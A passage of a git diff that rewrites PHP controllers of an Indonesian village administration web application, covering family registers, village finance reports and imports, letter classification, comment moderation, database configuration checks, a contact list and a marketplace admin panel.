show_404(); + } + + $data['penduduk'] = $this->keluarga_model->list_penduduk_lepas(); + $data['form_action'] = site_url("{$this->controller}/print"); + + $this->render('sid/kependudukan/kartu_keluarga', $data); + } + + public function cetak_kk($id = 0) + { + $data = $this->keluarga_model->get_data_cetak_kk($id); + + $this->load->view('sid/kependudukan/cetak_kk_all', $data); + } + + public function cetak_kk_all() + { + $data = $this->keluarga_model->get_data_cetak_kk_all(); + + $this->load->view('sid/kependudukan/cetak_kk_all', $data); + } + + public function doc_kk($id = 0) + { + $this->keluarga_model->unduh_kk($id); + } + + public function doc_kk_all($id = 0) + { + $this->keluarga_model->unduh_kk(); + } + + // Tidak boleh tambah anggota bagi kasus kepala keluarga mati/hilang/pindah + public function add_anggota($p = 1, $o = 0, $id = 0) + { + $this->redirect_hak_akses('u'); + $kepala = $this->keluarga_model->get_kepala_a($id); + $this->redirect_tidak_valid(empty($kepala['id']) || $kepala['status_dasar'] == 1); + $this->keluarga_model->add_anggota($id); + + redirect("{$this->controller}/anggota/{$p}/{$o}/{$id}"); + } + + public function update_anggota($p = 1, $o = 0, $id_kk = 0, $id = 0) + { + $this->redirect_hak_akses('u'); + $this->redirect_tidak_valid($this->keluarga_model->get_kepala_a($id_kk)['status_dasar'] == 1); + $this->keluarga_model->update_anggota($id); + + redirect("{$this->controller}/anggota/{$p}/{$o}/{$id_kk}"); + } + + // Pecah keluarga + public function delete_anggota($p = 1, $o = 0, $kk = 0, $id = 0) + { + $this->redirect_hak_akses('u'); + $this->keluarga_model->rem_anggota($kk, $id); + + redirect("{$this->controller}/anggota/{$p}/{$o}/{$kk}"); + } + + // Keluarkan karena salah mengisi + public function keluarkan_anggota($kk, $id = 0) + { + $this->redirect_hak_akses('u'); + $this->keluarga_model->rem_anggota($no_kk_sebelumnya = 0, $id); // Tidak simpan no KK + + redirect("{$this->controller}/anggota/1/0/{$kk}"); + } + + public function delete_all_anggota($p = 1, $o = 0, $kk = 0) + { + $this->redirect_hak_akses('h'); + $this->keluarga_model->rem_all_anggota($kk); + + redirect("{$this->controller}/anggota/{$p}/{$o}/{$kk}"); + } + + public function statistik($tipe = '0', $nomor = 0, $sex = null) + { + $this->clear_session(); + // Untuk tautan TOTAL di laporan statistik, di mana arg-2 = sex dan arg-3 kosong + if ($sex == null) { + if ($nomor != 0) { + $this->session->sex = $nomor; + } else { + $this->session->unset_userdata('sex'); + } + $this->session->unset_userdata('judul_statistik'); + redirect($this->controller); + } + + $this->session->unset_userdata('program_bantuan'); + $this->session->sex = ($sex == 0) ? null : $sex; + + switch (true) { + case $tipe == 'kelas_sosial': + $session = 'kelas'; + $kategori = 'KLASIFIKASI SOSIAL : '; + break; + + case $tipe == 'bantuan_keluarga': + if (! in_array($nomor, [BELUM_MENGISI, TOTAL])) { + $this->session->status_dasar = null; + } // tampilkan semua peserta walaupun bukan hidup/aktif + $session = 'bantuan_keluarga'; + $kategori = 'PENERIMA BANTUAN (KELUARGA) : '; + break; + + case $tipe > 50: + $program_id = preg_replace('/^50/', '', $tipe); + $this->session->program_bantuan = $program_id; + + // TODO: Sederhanakan query ini, pindahkan ke model + $nama = $this->db + ->select('nama') + ->where('config_id', identitas('id')) + ->where('id', $program_id) + ->get('program') + ->row() + ->nama; + + if (! in_array($nomor, [BELUM_MENGISI, TOTAL])) { + $this->session->status_dasar = null; // tampilkan semua peserta walaupun bukan hidup/aktif + $nomor = $program_id; + } + $kategori = $nama . ' : '; + $session = 'bantuan_keluarga'; + $tipe = 'bantuan_keluarga'; + break; + } + + // Filter berdasarkan kategori tdk dilakukan jika $nomer = TOTAL (888) + if ($nomor != TOTAL) { + $this->session->{$session} = $nomor; + } + + $judul = $this->keluarga_model->get_judul_statistik($tipe, $nomor, $sex); + + if ($judul['nama']) { + $this->session->judul_statistik = $kategori . $judul['nama']; + } else { + $this->session->unset_userdata('judul_statistik'); + } + + redirect($this->controller); + } + + public function cetak_statistik($tipe = 0) + { + $data['main'] = $this->keluarga_model->list_data_statistik($tipe); + + $this->load->view('sid/kependudukan/keluarga_print', $data); + } + + public function search_kumpulan_kk() + { + $data['kumpulan_kk'] = $this->session->kumpulan_kk ?: ''; + $data['form_action'] = site_url("{$this->controller}/filter/kumpulan_kk"); + + $this->load->view('sid/kependudukan/ajax_search_kumpulan_kk', $data); + } + + public function ajax_cetak($page = 1, $o = 0, $aksi = '') + { + $data['o'] = $o; + $data['aksi'] = $aksi; + $data['form_action'] = site_url("{$this->controller}/cetak/{$page}/{$o}/{$aksi}?id_cb={$this->input->get('id_cb')}"); + $data['form_action_privasi'] = site_url("{$this->controller}/cetak/{$page}/{$o}/{$aksi}/1?id_cb={$this->input->get('id_cb')}"); + + $this->load->view('sid/kependudukan/ajax_cetak_bersama', $data); + } + + public function program_bantuan() + { + // TODO : Ubah cara ini untuk menampilkan data + $this->session->sasaran = 2; // sasaran keluarga + $this->session->per_page = 100000; // tampilkan semua program bantuan + $list_bantuan = $this->program_bantuan_model->get_program(1, false); + + $data = [ + 'form_action' => site_url("{$this->controller}/program_bantuan_proses"), + 'program_bantuan' => $list_bantuan['program'], + 'id_program' => $this->session->bantuan_keluarga, + ]; + + $this->load->view('sid/kependudukan/pencarian_program_bantuan', $data); + } + + public function program_bantuan_proses() + { + $id_program = $this->input->post('program_bantuan'); + $this->statistik('bantuan_keluarga', $id_program, '0'); + } + + public function nokk_sementara() + { + $this->session->nokk_sementara = '0'; + + redirect($this->controller); + } + + public function form_pecah_semua($id = 0) + { + $this->redirect_hak_akses('u'); + $data['kk'] = $this->keluarga_model->get_keluarga($id); + $data['anggota'] = $this->keluarga_model->list_anggota($id, ['dengan_kk' => false]); + $data['nokk_sementara'] = $this->keluarga_model->nokk_sementara(); + $data['form_action'] = site_url("{$this->controller}/pecah_semua/{$id}"); + + $this->load->view('sid/kependudukan/pecah_semua', $data); + } + + public function pecah_semua($id = 0) + { + $this->redirect_hak_akses('u'); + $this->keluarga_model->pecah_semua($id, $this->input->post()); + + redirect("{$this->controller}/clear"); + } +} diff --git a/donjo-app/controllers/Keuangan.php b/donjo-app/controllers/Keuangan.php index b760f1207..fb3ffbb1b 100644 --- a/donjo-app/controllers/Keuangan.php +++ b/donjo-app/controllers/Keuangan.php @@ -1,481 +1,214 @@ -load->model('keuangan_model'); + $this->load->model('keuangan_grafik_model'); + $this->modul_ini = 'keuangan'; + } + + public function setdata_laporan($tahun, $semester) + { + $sess = [ + 'set_tahun' => $tahun, + 'set_semester' => $semester, + ]; + $this->session->set_userdata($sess); + echo json_encode(true); + } + + public function laporan() + { + $data['tahun_anggaran'] = $this->keuangan_model->list_tahun_anggaran(); + + if (! empty($data['tahun_anggaran'])) { + redirect('keuangan/grafik/rincian_realisasi'); + } else { + $_SESSION['success'] = -1; + $_SESSION['error_msg'] = 'Data Laporan Keuangan Belum Tersedia'; + redirect('keuangan/impor_data'); + } + } + + public function grafik($jenis) + { + $this->sub_modul_ini = 'laporan'; + + $data['tahun_anggaran'] = $this->keuangan_model->list_tahun_anggaran(); + $tahun = $this->session->userdata('set_tahun') ?: $data['tahun_anggaran'][0]; + $semester = $this->session->userdata('set_semester') ?: 0; + $sess = [ + 'set_tahun' => $tahun, + 'set_semester' => $semester, + ]; + $this->session->set_userdata($sess); + $this->load->model('keuangan_grafik_model'); + + $smt = $this->session->userdata('set_semester'); + $thn = $this->session->userdata('set_tahun'); + + switch ($jenis) { + case 'grafik-RP-APBD': + $this->grafik_rp_apbd($thn); + break; + + case 'rincian_realisasi': + $this->rincian_realisasi($thn, 'Akhir'); + break; + + case 'rincian_realisasi_smt1': + $this->rincian_realisasi($thn, 'Semester1', $smt1 = 1); + break; + + case 'rincian_realisasi_bidang': + $this->rincian_realisasi($thn, 'Akhir Bidang'); + break; + + case 'rincian_realisasi_smt1_bidang': + $this->rincian_realisasi($thn, 'Semester1 Bidang', $smt1 - 1); + break; + + default: + $this->grafik_rp_apbd($thn); + break; + } + } + + private function rincian_realisasi($thn, $judul, $smt1 = false) + { + $data = $this->keuangan_grafik_model->lap_rp_apbd($thn, $smt1); + $data['tahun_anggaran'] = $this->keuangan_model->list_tahun_anggaran(); + $data['ta'] = $this->session->userdata('set_tahun'); + $data['sm'] = $smt1 ? '1' : '2'; + $_SESSION['submenu'] = 'Laporan Keuangan ' . $judul; + $this->render('keuangan/rincian_realisasi', $data); + } + + private function grafik_rp_apbd($thn) + { + $data = $this->keuangan_grafik_model->grafik_keuangan_tema($thn); + $data['tahun_anggaran'] = $this->keuangan_model->list_tahun_anggaran(); + $_SESSION['submenu'] = 'Grafik Keuangan'; + $this->render('keuangan/grafik_rp_apbd', $data); + } + + public function impor_data() + { + $this->sub_modul_ini = 'impor-data'; + + $data['main'] = $this->keuangan_model->list_data(); + $data['form_action'] = site_url('keuangan/proses_impor'); + + $this->render('keuangan/impor_data', $data); + } + + public function proses_impor() + { + $this->redirect_hak_akses('u'); + if (empty($_FILES['keuangan']['name'])) { + $this->session->success = -1; + $this->session->error_msg = 'Tidak ada file untuk diimpor'; + redirect('keuangan/impor_data'); + } + if ($_POST['jenis_impor'] == 'update') { + $this->keuangan_model->extract_update(); + } else { + $this->keuangan_model->extract(); + } + redirect('keuangan/impor_data'); + } + + public function cek_versi_database() + { + $nama = $_FILES['keuangan']; + $file_parts = pathinfo($nama['name']); + if ($file_parts['extension'] === 'zip') { + $cek = $this->keuangan_model->cek_keuangan_master($nama); + if ($cek == -1) { + echo json_encode(2); + } elseif ($cek) { + $output = ['id' => $cek->id, 'tahun_anggaran' => $cek->tahun_anggaran]; + echo json_encode($output); + } else { + echo json_encode(0); + } + } else { + echo json_encode(1); + } + } + + // data tahun anggaran untuk keperluan dropdown pada plugin keuangan di text editor + public function cek_tahun() + { + $data = $this->keuangan_model->list_tahun_anggaran(); + $list_tahun = []; + + foreach ($data as $tahun) { + $list_tahun[] = [ + 'text' => $tahun, + 'value' => $tahun, + ]; + } + echo json_encode($list_tahun); + } + + public function delete($id = '') + { + $this->redirect_hak_akses('h'); + $outp = $this->keuangan_model->delete($id); + redirect('keuangan/impor_data'); + } + + public function pilih_desa($id_master) + { + $data['desa_ganda'] = $this->keuangan_model->cek_desa($id_master); + $data['id_master'] = $id_master; + $this->load->view('keuangan/pilih_desa', $data); + } + + public function bersihkan_desa($id_master) + { + $this->keuangan_model->bersihkan_desa($id_master, $this->input->post('kode_desa')); + redirect('keuangan/impor_data'); + } +} diff --git a/donjo-app/controllers/Keuangan_manual.php b/donjo-app/controllers/Keuangan_manual.php index b435e5288..0910f7c9e 100644 --- a/donjo-app/controllers/Keuangan_manual.php +++ b/donjo-app/controllers/Keuangan_manual.php @@ -1,537 +1,240 @@ -load->model(['keuangan_manual_model', 'keuangan_grafik_manual_model']); + $this->modul_ini = 'keuangan'; + } + + public function index() + { + redirect('keuangan_manual/manual_apbdes'); + } + + // Manual Input Anggaran dan Realisasi APBDes + public function setdata_laporan($tahun, $semester) + { + $sess_manual = [ + 'set_tahun' => $tahun, + 'set_semester' => $semester, + ]; + $this->session->set_userdata($sess_manual); + echo json_encode(true); + } + + public function laporan_manual() + { + $data['tahun_anggaran'] = $this->keuangan_manual_model->list_tahun_anggaran_manual(); + + if (! empty($data['tahun_anggaran'])) { + redirect('keuangan_manual/grafik_manual/rincian_realisasi_bidang_manual'); + } else { + session_error('Data Laporan Keuangan Belum Tersedia'); + redirect('keuangan_manual/manual_apbdes'); + } + } + + public function grafik_manual($jenis) + { + $this->sub_modul_ini = 'laporan-manual'; + + $data['tahun_anggaran'] = $this->keuangan_manual_model->list_tahun_anggaran_manual(); + $tahun = $this->session->set_tahun ?: $data['tahun_anggaran'][0]; + $sess_manual = [ + 'set_tahun' => $tahun, + ]; + $this->session->set_userdata($sess_manual); + $this->load->model('keuangan_grafik_manual_model'); + $thn = $this->session->set_tahun; + + switch ($jenis) { + case 'rincian_realisasi_bidang_manual': + $this->rincian_realisasi_manual($thn, 'Akhir Bidang Manual'); + break; + + case 'grafik-RP-APBD-manual': + $this->grafik_rp_apbd_manual($thn); + break; + + default: + $this->grafik_rp_apbd_manual($thn); + break; + } + } + + private function rincian_realisasi_manual($thn, $judul) + { + $data = $this->keuangan_grafik_manual_model->lap_rp_apbd($thn); + $data['tahun_anggaran'] = $this->keuangan_manual_model->list_tahun_anggaran_manual(); + $data['ta'] = $this->session->set_tahun; + $this->session->submenu = 'Laporan Keuangan ' . $judul; + $this->render('keuangan/rincian_realisasi_manual', $data); + } + + private function grafik_rp_apbd_manual($thn) + { + $data = $this->keuangan_grafik_manual_model->grafik_keuangan_tema($thn); + $data['tahun_anggaran'] = $this->keuangan_manual_model->list_tahun_anggaran_manual(); + $this->session->submenu = 'Grafik Keuangan'; + $this->render('keuangan/grafik_rp_apbd_manual', $data); + } + + public function manual_apbdes() + { + $this->sub_modul_ini = 'input-data'; + $data['tahun_anggaran'] = $this->keuangan_manual_model->list_tahun_anggaran_manual(); + $default_tahun = ! empty($data['tahun_anggaran']) ? $data['tahun_anggaran'][0] : null; + $this->session->set_tahun = $this->session->set_tahun ?? $default_tahun; + $this->session->set_jenis = $this->session->set_jenis ?? '4.PENDAPATAN'; + $data['tahun'] = $this->session->set_tahun; + $data['jenis'] = $this->session->set_jenis; + $data['lpendapatan'] = $this->keuangan_manual_model->list_rek_pendapatan(); + $data['lbelanja'] = $this->keuangan_manual_model->list_rek_belanja(); + $data['lbiaya'] = $this->keuangan_manual_model->list_rek_biaya(); + $data['lakun'] = $this->keuangan_manual_model->list_akun(); + $data['main'] = $this->keuangan_manual_model->list_apbdes($data['tahun']); + + $this->render('keuangan/manual_apbdes', $data); + } + + public function data_anggaran() + { + $data = $this->keuangan_manual_model->list_apbdes(); + echo json_encode($data); + } + + public function load_data() + { + $data = $this->keuangan_manual_model->list_data_keuangan(); + echo json_encode($data); + } + + public function get_anggaran() + { + $id = $this->input->get('id'); + $data = $this->keuangan_manual_model->get_anggaran($id); + echo json_encode($data); + } + + public function simpan_anggaran() + { + $this->redirect_hak_akses('u'); + $insert = $this->validation($this->input->post()); + $data = $this->keuangan_manual_model->simpan_anggaran($insert); + + status_sukses($data); + echo json_encode($data); + } + + public function update_anggaran() + { + $this->redirect_hak_akses('u'); + $id = $this->input->post('id'); + $update = $this->validation($this->input->post()); + $data = $this->keuangan_manual_model->update_anggaran($id, $update); + + status_sukses($data); + echo json_encode($data); + } + + public function delete_input($id = '') + { + $this->redirect_hak_akses('h'); + $this->keuangan_manual_model->delete_input($id); + redirect('keuangan_manual/manual_apbdes'); + } + + public function delete_all() + { + $this->keuangan_manual_model->delete_all(); + redirect('keuangan_manual/manual_apbdes'); + } + + public function salin_anggaran_tpl() + { + $thn_apbdes = bilangan($this->input->post('kode')); + $this->session->set_tahun = $thn_apbdes; + $data = $this->keuangan_manual_model->salin_anggaran_tpl($thn_apbdes); + echo json_encode($data); + } + + // data tahun anggaran untuk keperluan dropdown pada plugin keuangan di text editor + public function cek_tahun_manual() + { + $data = $this->keuangan_manual_model->list_tahun_anggaran_manual(); + $list_tahun = []; + + foreach ($data as $tahun) { + $list_tahun[] = [ + 'text' => $tahun, + 'value' => $tahun, + ]; + } + echo json_encode($list_tahun); + } + + /** + * untuk menghindari double post browser + * https://en.wikipedia.org/wiki/Post/Redirect/Get + */ + public function set_terpilih() + { + $post_tahun = $this->input->post('tahun_anggaran'); + $post_jenis = $this->input->post('jenis_anggaran'); + $this->session->set_tahun = $post_tahun; + $this->session->set_jenis = $post_jenis; + redirect('keuangan_manual/manual_apbdes'); + } + + private function validation($post = []) + { + return [ + 'Tahun' => bilangan($post['Tahun']), + 'Kd_Akun' => $post['Kd_Akun'], + 'Kd_Keg' => $post['Kd_Keg'], + 'Kd_Rincian' => $post['Kd_Rincian'], + 'Nilai_Anggaran' => ltrim(bilangan_titik($post['Nilai_Anggaran']), '0'), + 'Nilai_Realisasi' => ltrim(bilangan_titik($post['Nilai_Realisasi']), '0'), + ]; + } +} diff --git a/donjo-app/controllers/Klasifikasi.php b/donjo-app/controllers/Klasifikasi.php index 6b573dc02..8cf8a6ed1 100644 --- a/donjo-app/controllers/Klasifikasi.php +++ b/donjo-app/controllers/Klasifikasi.php @@ -1,505 +1,196 @@ -load->model('klasifikasi_model'); + $this->modul_ini = 'sekretariat'; + $this->sub_modul_ini = 'klasifikasi-surat'; + } + + public function clear() + { + $_SESSION['per_page'] = 50; + unset($_SESSION['cari'], $_SESSION['filter']); + + redirect('klasifikasi'); + } + + public function index($p = 1, $o = 0) + { + $data['p'] = $p; + $data['o'] = $o; + + if (isset($_SESSION['cari'])) { + $data['cari'] = $_SESSION['cari']; + } else { + $data['cari'] = ''; + } + + if (isset($_SESSION['filter'])) { + $data['filter'] = $_SESSION['filter']; + } else { + $data['filter'] = ''; + } + + if (isset($_POST['per_page'])) { + $_SESSION['per_page'] = $_POST['per_page']; + } + $data['per_page'] = $_SESSION['per_page']; + + $data['paging'] = $this->klasifikasi_model->paging($p, $o); + $data['main'] = $this->klasifikasi_model->list_data($o, $data['paging']->offset, $data['paging']->per_page); + $data['keyword'] = $this->klasifikasi_model->autocomplete(); + + $this->render('klasifikasi/table', $data); + } + + public function form($p = 1, $o = 0, $id = '') + { + $this->redirect_hak_akses('u'); + $data['p'] = $p; + $data['o'] = $o; + + if ($id) { + $data['data'] = $this->klasifikasi_model->get_klasifikasi($id); + $data['form_action'] = site_url("klasifikasi/update/{$id}/{$p}/{$o}"); + } else { + $data['data'] = null; + $data['form_action'] = site_url('klasifikasi/insert'); + } + + $this->render('klasifikasi/form', $data); + } + + public function search() + { + $cari = $this->input->post('cari'); + if ($cari != '') { + $_SESSION['cari'] = $cari; + } else { + unset($_SESSION['cari']); + } + redirect('klasifikasi'); + } + + public function filter() + { + $filter = $this->input->post('filter'); + if ($filter != '') { + $_SESSION['filter'] = $filter; + } else { + unset($_SESSION['filter']); + } + redirect('klasifikasi'); + } + + public function insert() + { + $this->redirect_hak_akses('u'); + $_SESSION['success'] = 1; + $outp = $this->klasifikasi_model->insert(); + if (! $outp) { + $_SESSION['success'] = -1; + } + redirect('klasifikasi'); + } + + public function update($id = '', $p = 1, $o = 0) + { + $this->redirect_hak_akses('u'); + $_SESSION['success'] = 1; + $outp = $this->klasifikasi_model->update($id); + if (! $outp) { + $_SESSION['success'] = -1; + } + redirect("klasifikasi/index/{$p}/{$o}"); + } + + public function delete($p = 1, $o = 0, $id = '') + { + $this->redirect_hak_akses('h', "klasifikasi/index/{$p}/{$o}"); + $this->klasifikasi_model->delete($id); + redirect("klasifikasi/index/{$p}/{$o}"); + } + + public function delete_all($p = 1, $o = 0) + { + $this->redirect_hak_akses('h', "klasifikasi/index/{$p}/{$o}"); + $this->klasifikasi_model->delete_all(); + redirect("klasifikasi/index/{$p}/{$o}"); + } + + public function lock($p = 1, $o = 0, $id = '') + { + $this->redirect_hak_akses('u'); + $this->klasifikasi_model->lock($id, 0); + redirect("klasifikasi/index/{$p}/{$o}"); + } + + public function unlock($p = 1, $o = 0, $id = '') + { + $this->redirect_hak_akses('u'); + $this->klasifikasi_model->lock($id, 1); + redirect("klasifikasi/index/{$p}/{$o}"); + } + + public function ekspor() + { + download_send_headers('klasifikasi_surat_' . date('Y-m-d') . '.csv'); + echo tulis_csv('klasifikasi_surat'); + } + + public function impor() + { + $this->redirect_hak_akses('u'); + $data['form_action'] = site_url('klasifikasi/proses_impor'); + $this->load->view('klasifikasi/impor', $data); + } + + public function proses_impor() + { + $this->redirect_hak_akses('u'); + $this->klasifikasi_model->impor($_FILES['klasifikasi']['tmp_name']); + redirect('klasifikasi'); + } +} diff --git a/donjo-app/controllers/Komentar.php b/donjo-app/controllers/Komentar.php index aa0d1f45c..cebae7c35 100644 --- a/donjo-app/controllers/Komentar.php +++ b/donjo-app/controllers/Komentar.php @@ -1,481 +1,169 @@ -load->model('web_komentar_model'); + $this->modul_ini = 'admin-web'; + $this->sub_modul_ini = 'komentar'; + } + + public function clear() + { + unset($_SESSION['cari'], $_SESSION['filter_status'], $_SESSION['filter_nik']); + + redirect('komentar'); + } + + public function index($p = 1, $o = 0) + { + $data['p'] = $p; + $data['o'] = $o; + + if (isset($_SESSION['cari'])) { + $data['cari'] = $_SESSION['cari']; + } else { + $data['cari'] = ''; + } + + if (isset($_SESSION['filter_status'])) { + $data['filter_status'] = $_SESSION['filter_status']; + } else { + $data['filter_status'] = ''; + } + + if (isset($_POST['per_page'])) { + $_SESSION['per_page'] = $_POST['per_page']; + } + $data['per_page'] = $_SESSION['per_page']; + + $data['paging'] = $this->web_komentar_model->paging($p, $o); + $data['main'] = $this->web_komentar_model->list_data($o, $data['paging']->offset, $data['paging']->per_page); + $data['keyword'] = $this->web_komentar_model->autocomplete(); + + $this->render('komentar/table', $data); + } + + public function form($p = 1, $o = 0, $id = '') + { + $this->redirect_hak_akses('u', $_SERVER['HTTP_REFERER']); + $data['p'] = $p; + $data['o'] = $o; + + if ($id) { + $data['komentar'] = $this->web_komentar_model->get_komentar($id); + $data['form_action'] = site_url("komentar/update/{$id}/{$p}/{$o}"); + } else { + $data['komentar'] = null; + $data['form_action'] = site_url('komentar/insert'); + } + + $data['list_kategori'] = $this->web_komentar_model->list_kategori(1); + + $this->render('komentar/form', $data); + } + + public function search() + { + $cari = $this->input->post('cari'); + if ($cari != '') { + $_SESSION['cari'] = $cari; + } else { + unset($_SESSION['cari']); + } + redirect('komentar'); + } + + public function filter() + { + $filter = $this->input->post('filter'); + if ($filter != 0) { + $_SESSION['filter_status'] = $filter; + } else { + unset($_SESSION['filter_status']); + } + redirect('komentar'); + } + + public function insert() + { + $this->redirect_hak_akses('u', $_SERVER['HTTP_REFERER']); + $this->web_komentar_model->insert(); + redirect('komentar'); + } + + public function update($id = '', $p = 1, $o = 0) + { + $this->redirect_hak_akses('u', $_SERVER['HTTP_REFERER']); + $this->web_komentar_model->update($id); + redirect("komentar/index/{$p}/{$o}"); + } + + public function delete($p = 1, $o = 0, $id = '') + { + $this->redirect_hak_akses('h', "komentar/index/{$p}/{$o}"); + $this->web_komentar_model->delete($id); + redirect("komentar/index/{$p}/{$o}"); + } + + public function delete_all($p = 1, $o = 0) + { + $this->redirect_hak_akses('h', "komentar/index/{$p}/{$o}"); + $this->web_komentar_model->delete_all(); + redirect("komentar/index/{$p}/{$o}"); + } + + public function komentar_lock($id = '') + { + $this->redirect_hak_akses('u', $_SERVER['HTTP_REFERER']); + $this->web_komentar_model->komentar_lock($id, 1); + redirect("komentar/index/{$p}/{$o}"); + } + + public function komentar_unlock($id = '') + { + $this->redirect_hak_akses('u', $_SERVER['HTTP_REFERER']); + $this->web_komentar_model->komentar_lock($id, 2); + redirect("komentar/index/{$p}/{$o}"); + } +} diff --git a/donjo-app/controllers/Koneksi_database.php b/donjo-app/controllers/Koneksi_database.php index bc169f43f..584981b62 100644 --- a/donjo-app/controllers/Koneksi_database.php +++ b/donjo-app/controllers/Koneksi_database.php @@ -1,545 +1,126 @@ -session->db_error['code'] !== 1049) { + redirect(site_url()); + } + + return view('periksa.koneksi'); + } + + public function config() + { + return view('periksa.config', $this->cekConfig()); + } + + public function updateKey() + { + $this->cekConfig(); + + $appKeyDb = Config::first(); + resetCacheDesa(); + updateAppKey($appKeyDb->app_key); + + redirect(site_url()); + } + + public function desaBaru() + { + if ($this->session->cek_app_key) { + // Tambahkan data sementara + Config::create([ + 'nama_desa' => '', + 'kode_desa' => '', + 'nama_kecamatan' => '', + 'kode_kecamatan' => '', + 'nama_kabupaten' => '', + 'kode_kabupaten' => '', + 'nama_propinsi' => '', + 'kode_propinsi' => '', + 'nama_kepala_camat' => '', + 'nip_kepala_camat' => '', + ]); + + $this->load->model('migrations/data_awal', 'data_awal'); + $this->data_awal->up(); + + // hapus cache + resetCacheDesa(); + + // hapus session + session_destroy(); + } + + redirect(site_url()); + } + + private function cekConfig() + { + if (! $this->session->cek_app_key) { + redirect(site_url()); + } + + $appKey = get_app_key(); + $appKeyDb = Config::first(); + + if (Config::count() > 1) { + $appKeyDb = Config::appKey()->first(); + } + + if ($appKey === $appKeyDb->app_key) { + redirect(site_url()); + } + + return [ + 'appKey' => $appKey, + 'appKeyDb' => $appKeyDb->app_key, + ]; + } +} diff --git a/donjo-app/controllers/Kontak.php b/donjo-app/controllers/Kontak.php index 79172e787..1e705379c 100644 --- a/donjo-app/controllers/Kontak.php +++ b/donjo-app/controllers/Kontak.php @@ -1,465 +1,158 @@ -modul_ini = 'hubung-warga'; + $this->sub_modul_ini = 40; + $this->header['kategori'] = 'hubung warga'; + } + + public function index() + { + return view('admin.kontak.index'); + } + + public function datatables() + { + if ($this->input->is_ajax_request()) { + return datatables()->of(DaftarKontak::query()) + ->addColumn('ceklist', static function ($row) { + if (can('h')) { + return ''; + } + }) + ->addIndexColumn() + ->addColumn('aksi', static function ($row) { + $aksi = ''; + + if (can('u')) { + $aksi .= ' '; + } + + if (can('h')) { + $aksi .= ' '; + } + + return $aksi; + }) + ->rawColumns(['ceklist', 'aksi']) + ->make(); + } + + return show_404(); + } + + public function form($id = '') + { + $this->redirect_hak_akses('u'); + + if ($id) { + $action = 'Ubah'; + $form_action = route('kontak.update', $id); + $kontak = DaftarKontak::findOrFail($id); + } else { + $action = 'Tambah'; + $form_action = route('kontak.insert'); + $kontak = null; + } + + return view('admin.kontak.form', compact('action', 'form_action', 'kontak')); + } + + public function insert() + { + $this->redirect_hak_akses('u'); + + if (DaftarKontak::create(static::validate($this->request))) { + redirect_with('success', 'Berhasil Tambah Data'); + } + redirect_with('error', 'Gagal Tambah Data'); + } + + public function update($id = '') + { + $this->redirect_hak_akses('u'); + + $data = DaftarKontak::findOrFail($id); + + if ($data->update(static::validate($this->request))) { + redirect_with('success', 'Berhasil Ubah Data'); + } + redirect_with('error', 'Gagal Ubah Data'); + } + + public function delete($id = '') + { + $this->redirect_hak_akses('h'); + + if (DaftarKontak::destroy($id)) { + redirect_with('success', 'Berhasil Hapus Data'); + } + redirect_with('error', 'Gagal Hapus Data'); + } + + public function deleteAll() + { + $this->redirect_hak_akses('h'); + + if (DaftarKontak::destroy($this->request['id_cb'])) { + redirect_with('success', 'Berhasil Hapus Data'); + } + redirect_with('error', 'Gagal Hapus Data'); + } + + // Hanya filter inputan + protected static function validate($request = []) + { + return [ + 'nama' => nama_terbatas($request['nama']), + 'hubung_warga' => htmlentities($request['hubung_warga']), + 'telepon' => bilangan($request['telepon']), + 'email' => htmlentities($request['email']), + 'telegram' => bilangan($request['telegram']), + 'keterangan' => htmlentities($request['keterangan']), + ]; + } +} diff --git a/donjo-app/controllers/Lapak_admin.php b/donjo-app/controllers/Lapak_admin.php index 91d451d74..6da2e7d10 100644 --- a/donjo-app/controllers/Lapak_admin.php +++ b/donjo-app/controllers/Lapak_admin.php @@ -1,505 +1,405 @@ -modul_ini = 'lapak'; + $this->load->model(['lapak_model', 'penduduk_model']); + } + + public function index() + { + redirect("{$this->controller}/produk"); + } + + // NAVIGASI + public function navigasi() + { + return [ + 'jml_produk' => [ + 'aktif' => $this->lapak_model->get_produk('', 1)->count_all_results(), + 'total' => $this->lapak_model->get_produk()->count_all_results(), + ], + + 'jml_pelapak' => [ + 'aktif' => $this->lapak_model->get_pelapak('', 1)->count_all_results(), + 'total' => $this->lapak_model->get_pelapak()->count_all_results(), + ], + + 'jml_kategori' => [ + 'aktif' => $this->lapak_model->get_kategori('', 1)->count_all_results(), + 'total' => $this->lapak_model->get_kategori()->count_all_results(), + ], + ]; + } + + // PRODUK + public function produk() + { + $data['navigasi'] = $this->navigasi(); + + if ($data['navigasi']['jml_pelapak']['aktif'] <= 0) { + session_error('Pelapak tidak tersedia, silakan tambah pelapak terlebih dahulu'); + redirect("{$this->controller}/pelapak"); + } + + if ($data['navigasi']['jml_kategori']['aktif'] <= 0) { + session_error('Kategori tidak tersedia, silakan tambah kategori terlebih dahulu'); + redirect("{$this->controller}/kategori"); + } + + if ($this->input->is_ajax_request()) { + $start = $this->input->post('start'); + $length = $this->input->post('length'); + $search = $this->input->post('search[value]'); + $order = $this->lapak_model::ORDER_ABLE_PRODUK[$this->input->post('order[0][column]')]; + $dir = $this->input->post('order[0][dir]'); + $status = $this->input->post('status'); + $id_pend = $this->input->post('id_pend'); + $id_produk_kategori = $this->input->post('id_produk_kategori'); + + return json([ + 'draw' => $this->input->post('draw'), + 'recordsTotal' => $this->lapak_model->get_produk('', $status)->count_all_results(), + 'recordsFiltered' => $this->lapak_model->get_produk($search, $status, $id_pend, $id_produk_kategori)->count_all_results(), + 'data' => $this->lapak_model->get_produk($search, $status, $id_pend, $id_produk_kategori)->order_by($order, $dir)->limit($length, $start)->get()->result(), + ]); + } + + $data['pelapak'] = $this->lapak_model->get_pelapak('', 1)->get()->result(); + $data['kategori'] = $this->lapak_model->get_kategori('', 1)->get()->result(); + + $this->render("{$this->controller}/produk/index", $data); + } + + public function produk_form($id = '') + { + $this->redirect_hak_akses('u'); + + if ($id) { + $data['main'] = $this->lapak_model->produk_detail($id) ?? show_404(); + $data['aksi'] = 'Ubah'; + $data['form_action'] = site_url("{$this->controller}/produk_update/{$id}"); + } else { + $data['main']->tipe_potongan = 1; + $data['aksi'] = 'Tambah'; + $data['form_action'] = site_url("{$this->controller}/produk_insert"); + } + + $data['pelapak'] = $this->lapak_model->get_pelapak('', 1)->get()->result(); + $data['kategori'] = $this->lapak_model->get_kategori('', 1)->get()->result(); + $data['satuan'] = $this->lapak_model->get_satuan(); + + $this->render("{$this->controller}/produk/form", $data); + } + + public function produk_insert() + { + $this->redirect_hak_akses('u'); + $this->lapak_model->produk_insert(); + redirect("{$this->controller}/produk"); + } + + public function produk_update($id = '') + { + $this->redirect_hak_akses('u'); + $this->lapak_model->produk_update($id); + redirect("{$this->controller}/produk"); + } + + public function 